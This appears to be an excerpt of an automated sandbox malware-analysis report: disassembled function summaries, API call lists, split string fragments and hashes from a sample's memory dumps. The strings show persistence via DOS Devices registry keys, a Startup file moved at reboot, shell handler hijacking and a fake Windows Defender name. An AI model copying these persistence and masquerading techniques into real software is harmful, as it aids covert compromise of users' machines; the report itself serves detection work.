RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,1001A5D4,0000000A), ref: 100011B0
RegCloseKey.ADVAPI32(?), ref: 100011C0
_memset.LIBCMT ref: 100012B7
RegCloseKey.ADVAPI32(?), ref: 100012EE
SHGetSpecialFolderPathA.SHELL32(00000000,?,0000001A,00000000), ref: 100012FF
_memset.LIBCMT ref: 10001318
_sprintf.LIBCMT ref: 100013C3
_memset.LIBCMT ref: 10001471
RegCreateKeyExA.ADVAPI32(80000002,SYSTEM\CurrentControlSet\Control\Session Manager\DOS Devices,00000000,00000000,00000000,00020006,00000000,?,00000000), ref: 10001496
_sprintf.LIBCMT ref: 100014B7
RegSetValueExA.ADVAPI32(?,1001A62C,00000000,00000001,?,?), ref: 100014E8
_sprintf.LIBCMT ref: 10001509
DefineDosDeviceA.KERNEL32(00000001,1001A62C,?), ref: 1000151B
_memset.LIBCMT ref: 1000154C
_sprintf.LIBCMT ref: 10001566
_memset.LIBCMT ref: 100015A7
_memset.LIBCMT ref: 100015BE
_memset.LIBCMT ref: 10001619
_memset.LIBCMT ref: 1000162D
MoveFileExA.KERNEL32(?,?,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 1000165A

Strings

nu\Pro, xrefs: 1000138E
%s\Mic, xrefs: 1000132F
art Me, xrefs: 10001376
SYSTEM\CurrentControlSet\Control\Session Manager\DOS Devices, xrefs: 1000148A, 10001490
grams, xrefs: 100013AD
[:\1.qwq1, xrefs: 100015C8
%s\1.qwq1, xrefs: 10001558, 1000155E
ows\St, xrefs: 1000135E
QWQ\ShellEx\ContextMenuHandlers\{00021401-0000-0000-C000-000000000046}, xrefs: 100012D0, 100012D6
1, xrefs: 10001610
rosoft\Wind, xrefs: 10001347
.qwq, xrefs: 10001606

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: _memset$_sprintf$CloseValue$CreateDefineDeviceFileFolderMovePathSpecial_wprintf
String ID: %s\1.qwq1$%s\Mic$.qwq$1$QWQ\ShellEx\ContextMenuHandlers\{00021401-0000-0000-C000-000000000046}$SYSTEM\CurrentControlSet\Control\Session Manager\DOS Devices$[:\1.qwq1$art Me$grams$nu\Pro$ows\St$rosoft\Wind
API String ID: 1177859221-1427731300
Opcode ID: 0b30ea9c887d113786127fb0fe131acf0ce7c388d6d05fd3aa7cff60e868827e
Instruction ID: a6eba57ee7157bfdc474ef77063ead9024457ec1a50b4f639e4453205c2468a6
Opcode Fuzzy Hash: 0b30ea9c887d113786127fb0fe131acf0ce7c388d6d05fd3aa7cff60e868827e
Instruction Fuzzy Hash: 12D179B180126DAEEB21DF548D84FEAB7BDEB05380F0045E5E649AB105DA709FC58FA0

Function 00425510 Relevance: 54.3, APIs: 36, Instructions: 284COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004255C9
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004255D8
char_traits.LIBCPMTD ref: 004255E4
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00425600
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00425615
char_traits.LIBCPMTD ref: 00425627
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00425636
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00425645
char_traits.LIBCPMTD ref: 00425651
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042566D
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042567C
char_traits.LIBCPMTD ref: 00425688
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00425697
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004256AC
char_traits.LIBCPMTD ref: 004256BE

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWork$char_traits
String ID:
API String ID: 1941806930-0
Opcode ID: a6182cf8cc0ba44c7de941d67b892b6547547223d3a0a855d568f534909cb94b
Instruction ID: d6f77fb5e6295c0d9ed87cc8dbff879733b5a604bed926836add0ee00d747356
Opcode Fuzzy Hash: a6182cf8cc0ba44c7de941d67b892b6547547223d3a0a855d568f534909cb94b
Instruction Fuzzy Hash: 6DC1D670A0000EEFCB04EF95D5A2C9E7776AFC4388B11816DF9056B2A1DF34AE65CB95

Function 100031C7 Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 224libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 100031EE
_strrchr.LIBCMT ref: 100031FD
_strncpy.LIBCMT ref: 100032A6
_memset.LIBCMT ref: 100032D2
_memset.LIBCMT ref: 10003344
_sprintf.LIBCMT ref: 1000335E

Part of subcall function 10002F16: LoadLibraryA.KERNEL32(?,?), ref: 10002F6E
Part of subcall function 10002F16: GetProcAddress.KERNEL32(00000000), ref: 10002F75

_memset.LIBCMT ref: 10003425
_sprintf.LIBCMT ref: 10003438

Part of subcall function 1000AD50: __output_l.LIBCMT ref: 1000ADAB

_memset.LIBCMT ref: 1000349D
LoadLibraryA.KERNEL32(?,?,00000000,000000F3,?,?,?,?,?,00000000,000000D8,?,?,?,?,?), ref: 100034AC
_memset.LIBCMT ref: 100034EC
GetProcAddress.KERNEL32(?,?), ref: 10003501
_memset.LIBCMT ref: 1000352A
FreeLibrary.KERNEL32(?,?,?,?,?,00000000,000000F1,?,?,?,?,?,00000000,000000D8), ref: 10003555

Strings

A, xrefs: 100034E3
d, xrefs: 1000325C
Shel, xrefs: 1000347F
Open, xrefs: 1000351A
_Classes, xrefs: 100032D7, 100032DD
-- tg://setlanguage?lang=classic-zh-cn, xrefs: 1000342A, 10003430
Shel, xrefs: 100034C5
dll, xrefs: 10003493
lExe, xrefs: 100034CF
%s\tg\shell\open\command, xrefs: 10003350, 10003356
l32., xrefs: 10003489
cute, xrefs: 100034D9

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: _memset$Library$AddressLoadProc_sprintf$FileFreeModuleName__output_l_strncpy_strrchr
String ID: %s\tg\shell\open\command$-- tg://setlanguage?lang=classic-zh-cn$A$Open$Shel$Shel$_Classes$cute$d$dll$l32.$lExe
API String ID: 1778617766-3396513812
Opcode ID: de30c5cdb71a66d09e6c21ac387def07262357a523ce7049645e96b0468760d0
Instruction ID: a1104d94dd440214b8363c757a0762cb0449f268d632bcc907b58f935efa182f
Opcode Fuzzy Hash: de30c5cdb71a66d09e6c21ac387def07262357a523ce7049645e96b0468760d0
Instruction Fuzzy Hash: C79170B5C0426D9AEB22DF54CC81BEEB7BCEB04780F4081E5E608A6155D775AFC98F60

Function 032A31CB Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 224libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 032A31F2
_strncpy.LIBCMT ref: 032A32AA
_memset.LIBCMT ref: 032A32D6
_memset.LIBCMT ref: 032A3348
_sprintf.LIBCMT ref: 032A3362

Part of subcall function 032A2F1A: LoadLibraryA.KERNEL32(?,?), ref: 032A2F72
Part of subcall function 032A2F1A: GetProcAddress.KERNEL32(00000000), ref: 032A2F79

_memset.LIBCMT ref: 032A3429
_sprintf.LIBCMT ref: 032A343C

Part of subcall function 032AAD54: __output_l.LIBCMT ref: 032AADAF

_memset.LIBCMT ref: 032A34A1
LoadLibraryA.KERNEL32(?,?,00000000,000000F3,?,?,?,?,?,00000000,000000D8,?,?,?,?,?), ref: 032A34B0
_memset.LIBCMT ref: 032A34F0
GetProcAddress.KERNEL32(?,?), ref: 032A3505
_memset.LIBCMT ref: 032A352E
FreeLibrary.KERNEL32(?,?,?,?,?,00000000,000000F1,?,?,?,?,?,00000000,000000D8), ref: 032A3559

Strings

Shel, xrefs: 032A3483
l32., xrefs: 032A348D
d, xrefs: 032A3260
-- tg://setlanguage?lang=classic-zh-cn, xrefs: 032A342E, 032A3434
Shel, xrefs: 032A34C9
A, xrefs: 032A34E7
_Classes, xrefs: 032A32DB, 032A32E1
lExe, xrefs: 032A34D3
dll, xrefs: 032A3497
Open, xrefs: 032A351E
%s\tg\shell\open\command, xrefs: 032A3354, 032A335A
cute, xrefs: 032A34DD

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: _memset$Library$AddressLoadProc_sprintf$FileFreeModuleName__output_l_strncpy
String ID: %s\tg\shell\open\command$-- tg://setlanguage?lang=classic-zh-cn$A$Open$Shel$Shel$_Classes$cute$d$dll$l32.$lExe
API String ID: 41527467-3396513812
Opcode ID: de30c5cdb71a66d09e6c21ac387def07262357a523ce7049645e96b0468760d0
Instruction ID: 865936cc05f03d0df048afd5a3d1e1cab1431879676bd2a1f17b61a8114bf0ca
Opcode Fuzzy Hash: de30c5cdb71a66d09e6c21ac387def07262357a523ce7049645e96b0468760d0
Instruction Fuzzy Hash: 16914DB6C1466A9FDB21DF58CC80BEEB7B9AB04700F0481E6D748A6141DB759FC98F60

Function 0041AE60 Relevance: 35.4, APIs: 17, Strings: 3, Instructions: 401COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0041AE97

Part of subcall function 004337FB: __EH_prolog3_GS.LIBCMT ref: 00433805
Part of subcall function 004337FB: RegSetValueExW.ADVAPI32(?,WarnonBadCertRecving,00000000,00000003,?,00000004,00000130,0041AEB9,?), ref: 00433877
Part of subcall function 004337FB: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00433924

Part of subcall function 00439A43: GetModuleFileNameW.KERNEL32(00000000,?,00000208,000000FF,?,0041AEC7), ref: 00439AA4

Part of subcall function 00439B88: __EH_prolog3_GS.LIBCMT ref: 00439B92
Part of subcall function 00439B88: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00439C5C
Part of subcall function 00439B88: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00439CC4

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0041B001
FindWindowW.USER32(00000000,00000000), ref: 0041B009
IsWindow.USER32(00000000), ref: 0041B034
ShowWindow.USER32(00000000,00000001), ref: 0041B04B
SetActiveWindow.USER32(00000000), ref: 0041B058
BringWindowToTop.USER32(00000000), ref: 0041B065
SetForegroundWindow.USER32(00000000), ref: 0041B072
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0041B0A9

Part of subcall function 00439FC6: __EH_prolog3_GS.LIBCMT ref: 00439FD0

Strings

http(\S+), xrefs: 0041B0FD
http ://pc.game.iqiyi.com/index?sdkver=10.0.7.845, xrefs: 0041B4A0
-gamename=(\S+), xrefs: 0041AF89

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Window$Container_base12Container_base12::~_std::_$H_prolog3_$FileModuleName$ActiveBringFindForegroundShowValue
String ID: -gamename=(\S+)$http ://pc.game.iqiyi.com/index?sdkver=10.0.7.845$http(\S+)
API String ID: 3563279284-1506971616
Opcode ID: 99136c340ea5096cac9d9ce4380deff2dffdace88bb6a4d4a54b87134c558162
Instruction ID: 049eb92ca69910b01fea21b1923219dffaca7dcd527301e5110939af387bdc08
Opcode Fuzzy Hash: 99136c340ea5096cac9d9ce4380deff2dffdace88bb6a4d4a54b87134c558162
Instruction Fuzzy Hash: 1A021E709101189BCB29FB21DD96BED7379AF54305F4040EEA10A661A1EF386FC8CF59

Function 032A14BA Relevance: 33.4, APIs: 13, Strings: 6, Instructions: 124registryCOMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 032A14BB
RegSetValueExA.ADVAPI32(?,1001A62C,?,00000001,?,?), ref: 032A14EC
_sprintf.LIBCMT ref: 032A150D
DefineDosDeviceA.KERNEL32(00000001,1001A62C,?), ref: 032A151F
_memset.LIBCMT ref: 032A1550
_sprintf.LIBCMT ref: 032A156A
_memset.LIBCMT ref: 032A15AB
_memset.LIBCMT ref: 032A15C2
_memset.LIBCMT ref: 032A161D
_memset.LIBCMT ref: 032A1631
MoveFileExA.KERNEL32(?,?,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 032A165E

Strings

%s\1.qwq1, xrefs: 032A155C, 032A1562
1, xrefs: 032A1614
[:\S, xrefs: 032A15EC
tart, xrefs: 032A15F6
up\1, xrefs: 032A1600
.qwq, xrefs: 032A160A

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: _memset$_sprintf$DefineDeviceFileMoveValue
String ID: %s\1.qwq1$.qwq$1$[:\S$tart$up\1
API String ID: 3652080668-2429600194
Opcode ID: c779772ebf056492f089e2d5d69f42e55331b74a04850cbd1dbf54744bd0d102
Instruction ID: 1fd07c0abbb001936f9cf45493a963518acdec71181aded644ae1bcd54d4865b
Opcode Fuzzy Hash: c779772ebf056492f089e2d5d69f42e55331b74a04850cbd1dbf54744bd0d102
Instruction Fuzzy Hash: 83418EB595162DAFDB21EBA88C48FEA77BDAF09300F0045E5D64DE7101DA709BC88F61

Function 10002388 Relevance: 30.1, APIs: 14, Strings: 3, Instructions: 398comCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 10002392
CoInitializeEx.COMBASE(00000000,00000000), ref: 1000239B
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 100023AD
CoCreateInstance.COMBASE(100184F0,00000000,00000001,100182E0,?), ref: 100023C7
VariantInit.OLEAUT32(?), ref: 100023D4
VariantInit.OLEAUT32(?), ref: 100023F4
VariantInit.OLEAUT32(?), ref: 10002411
VariantInit.OLEAUT32(?), ref: 1000242E

Part of subcall function 100016CA: __EH_prolog3.LIBCMT ref: 100016D1
Part of subcall function 100016CA: SysAllocString.OLEAUT32(?), ref: 100016F9

_memset.LIBCMT ref: 1000269E
_memset.LIBCMT ref: 100026D1
_mbstowcs.LIBCMT ref: 100026E9
VariantInit.OLEAUT32(?), ref: 100027AE
VariantInit.OLEAUT32(?), ref: 100027CB

Part of subcall function 1000172A: InterlockedDecrement.KERNEL32(?), ref: 10001735
Part of subcall function 1000172A: SysFreeString.OLEAUT32(00000000), ref: 1000174A

CoUninitialize.COMBASE ref: 1000287B

Strings

Window Defender UqdataMicrosoft Corporation, xrefs: 100027E4, 100027E8
n, xrefs: 10002549
atio, xrefs: 10002542

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: InitVariant$InitializeString_memset$AllocCreateDecrementFreeH_prolog3H_prolog3_InstanceInterlockedSecurityUninitialize_mbstowcs
String ID: Window Defender UqdataMicrosoft Corporation$atio$n
API String ID: 409417733-2587304410
Opcode ID: 85bb1b6dba8845eb6832dcc241e22674bc42bc2413ebe57639f70d2a06e4931d
Instruction ID: c4f995021f6d453e0b67c1534942b25dbd89ffe59a045e9db0a1cde3e0b7ba2d
Opcode Fuzzy Hash: 85bb1b6dba8845eb6832dcc241e22674bc42bc2413ebe57639f70d2a06e4931d
Instruction Fuzzy Hash: 0AF10872900629AFDB12DF64CC84A9EB7BDEF45304F0085D5E909AB254D771AF8ACF90

Function 032A238C Relevance: 30.1, APIs: 14, Strings: 3, Instructions: 398comCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 032A2396
CoInitializeEx.COMBASE(00000000,00000000), ref: 032A239F
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 032A23B1
CoCreateInstance.COMBASE(100184F0,00000000,00000001,100182E0,?), ref: 032A23CB
VariantInit.OLEAUT32(?), ref: 032A23D8
VariantInit.OLEAUT32(?), ref: 032A23F8
VariantInit.OLEAUT32(?), ref: 032A2415
VariantInit.OLEAUT32(?), ref: 032A2432

Part of subcall function 032A16CE: __EH_prolog3.LIBCMT ref: 032A16D5
Part of subcall function 032A16CE: SysAllocString.OLEAUT32(?), ref: 032A16FD

_memset.LIBCMT ref: 032A26A2
_memset.LIBCMT ref: 032A26D5
_mbstowcs.LIBCMT ref: 032A26ED
VariantInit.OLEAUT32(?), ref: 032A27B2
VariantInit.OLEAUT32(?), ref: 032A27CF

Part of subcall function 032A172E: InterlockedDecrement.KERNEL32(?), ref: 032A1739
Part of subcall function 032A172E: SysFreeString.OLEAUT32(00000000), ref: 032A174E

CoUninitialize.COMBASE ref: 032A287F

Strings

n, xrefs: 032A254D
Window Defender UqdataMicrosoft Corporation, xrefs: 032A27E8, 032A27EC
atio, xrefs: 032A2546

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: InitVariant$InitializeString_memset$AllocCreateDecrementFreeH_prolog3H_prolog3_InstanceInterlockedSecurityUninitialize_mbstowcs
String ID: Window Defender UqdataMicrosoft Corporation$atio$n
API String ID: 409417733-2587304410
Opcode ID: 85bb1b6dba8845eb6832dcc241e22674bc42bc2413ebe57639f70d2a06e4931d
Instruction ID: 703f5bc0d1add9261e1aa645e1a114de03b678f3031e3c7775b5dda799583f78
Opcode Fuzzy Hash: 85bb1b6dba8845eb6832dcc241e22674bc42bc2413ebe57639f70d2a06e4931d
Instruction Fuzzy Hash: E8F11771910629EFDB22DF64CC84A9EB7BDAF45304F0085D5E909AB250CB71AF8ACF50

Function 0042A0D0 Relevance: 29.9, APIs: 8, Strings: 9, Instructions: 144COMMON

Download Yara Rule

APIs

_wcsstr.LIBVCRUNTIME ref: 0042A11A
_wcsstr.LIBVCRUNTIME ref: 0042A132
_wcsstr.LIBVCRUNTIME ref: 0042A14A
_wcsstr.LIBVCRUNTIME ref: 0042A162
ShellExecuteW.SHELL32(00000000,OPEN,?,00000000,00000000,00000001), ref: 0042A182
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0042A1BA
_wcsstr.LIBVCRUNTIME ref: 0042A1F4
_wcsstr.LIBVCRUNTIME ref: 0042A20C

Strings

http://pc.game.iqiyi.com/flash, xrefs: 0042A156
pc.game.iqiyi.com/flash, xrefs: 0042A200
-h5game , xrefs: 0042A23C
http://pc.game.iqiyi.com/home, xrefs: 0042A126
http://pc.game.iqiyi.com/game, xrefs: 0042A13E
-flashgame , xrefs: 0042A218
pc.game.iqiyi.com/togame, xrefs: 0042A10E
OPEN, xrefs: 0042A17B
pc.game.iqiyi.com/togame/web, xrefs: 0042A1E8

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: _wcsstr$ExecuteFileModuleNameShell
String ID: -flashgame $ -h5game $OPEN$http://pc.game.iqiyi.com/flash$http://pc.game.iqiyi.com/game$http://pc.game.iqiyi.com/home$pc.game.iqiyi.com/flash$pc.game.iqiyi.com/togame$pc.game.iqiyi.com/togame/web
API String ID: 2304605781-3314681275
Opcode ID: 40717e2643afe728ffbcd3fdb04358752e8d59d55cf9744360f143ab1fe641eb
Instruction ID: f6259e90f608cc44784ffe3ccf9ce35e3d6684ef54c544bbb6815021a0d09834
Opcode Fuzzy Hash: 40717e2643afe728ffbcd3fdb04358752e8d59d55cf9744360f143ab1fe641eb
Instruction Fuzzy Hash: 7051CB71E102189BDB20EB60DC8ABEE7775AF54705F0001DEE40967281EB786F84CF9A

Function 0040DA80 Relevance: 28.9, APIs: 19, Instructions: 385commemoryCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0040DAD5
GetWindowTextLengthW.USER32(?), ref: 0040DAE5
__MallocaComputeSize.LIBCONCRTD ref: 0040DB00
__MallocaComputeSize.LIBCONCRTD ref: 0040DB14
__MallocaComputeSize.LIBCONCRTD ref: 0040DB2B
__MarkAllocaS.LIBCMTD ref: 0040DB44
OleUninitialize.OLE32(?,CC27C0CB), ref: 0040DF18
GetWindowLongW.USER32(00000000,000000EC), ref: 0040DF3D
GetWindowLongW.USER32(?,000000EC), ref: 0040DF57
SetWindowLongW.USER32(?,000000EC,?), ref: 0040DF75
DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00000004,00000004), ref: 0040DF8B

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Window$ComputeLongMallocaSize$AllocaInitializeLengthMarkProcTextUninitialize
String ID:
API String ID: 122150384-0
Opcode ID: f3b4da9511393b1debb772cd8810d81197940595332c5cd6eca5e5ae1e69f7cf
Instruction ID: e6625b8129a0e24f3130f24f4e3686a07586261c61fb7ce433ff5d568798bbe2
Opcode Fuzzy Hash: f3b4da9511393b1debb772cd8810d81197940595332c5cd6eca5e5ae1e69f7cf
Instruction Fuzzy Hash: 04F12A70D002099FDB04EFE5C989AEEBB74AF14318F10812EF516BB2D1DB785A45CB95

Function 0040D5E0 Relevance: 28.8, APIs: 19, Instructions: 346commemoryCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0040D635
GetWindowTextLengthW.USER32(?), ref: 0040D645
__MallocaComputeSize.LIBCONCRTD ref: 0040D660
__MallocaComputeSize.LIBCONCRTD ref: 0040D674
__MallocaComputeSize.LIBCONCRTD ref: 0040D68B
__MarkAllocaS.LIBCMTD ref: 0040D6A4
OleUninitialize.OLE32(?,CC27C0CB), ref: 0040D9E0
GetWindowLongW.USER32(00000000,000000EC), ref: 0040DA04
GetWindowLongW.USER32(?,000000EC), ref: 0040DA1D
SetWindowLongW.USER32(?,000000EC,?), ref: 0040DA3C
DefWindowProcW.USER32(?,?,?,?), ref: 0040DA52

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Window$ComputeLongMallocaSize$AllocaInitializeLengthMarkProcTextUninitialize
String ID:
API String ID: 122150384-0
Opcode ID: 7e236fe065a579e99f62c70cf055c7b136158e1dc4b2a65ef8dbfb16e3d50b79
Instruction ID: 5a07afcadc98fb844e5006dfd769764adeddb73229a353cc07e3003ec3ca81cf
Opcode Fuzzy Hash: 7e236fe065a579e99f62c70cf055c7b136158e1dc4b2a65ef8dbfb16e3d50b79
Instruction Fuzzy Hash: 12E14A70D002099FDB04EFE4D889AEEBBB4AF48318F10812AF515BB2D1DB785A45CF95

Function 10002FDD Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 131registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1000308A
_strncpy.LIBCMT ref: 10003124
RegCloseKey.ADVAPI32(?), ref: 100031B0

Strings

eyEx, xrefs: 1000303B
numK, xrefs: 100030B1
RegC, xrefs: 10003190
RegO, xrefs: 1000302D
RegE, xrefs: 100030AA
eyEx, xrefs: 100030B8
penK, xrefs: 10003034
A, xrefs: 10003042
lose, xrefs: 10003197
A, xrefs: 100030BF
ADVAPI32.dll, xrefs: 10003096, 10003099
Key, xrefs: 1000319E

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: Close_memset_strncpy
String ID: A$A$ADVAPI32.dll$Key$RegC$RegE$RegO$eyEx$eyEx$lose$numK$penK
API String ID: 398226110-1513123901
Opcode ID: 14c49d87dcb23ba67ab38490d4ca0ee4809e63341d0e42fa1f4e677d95d510e9
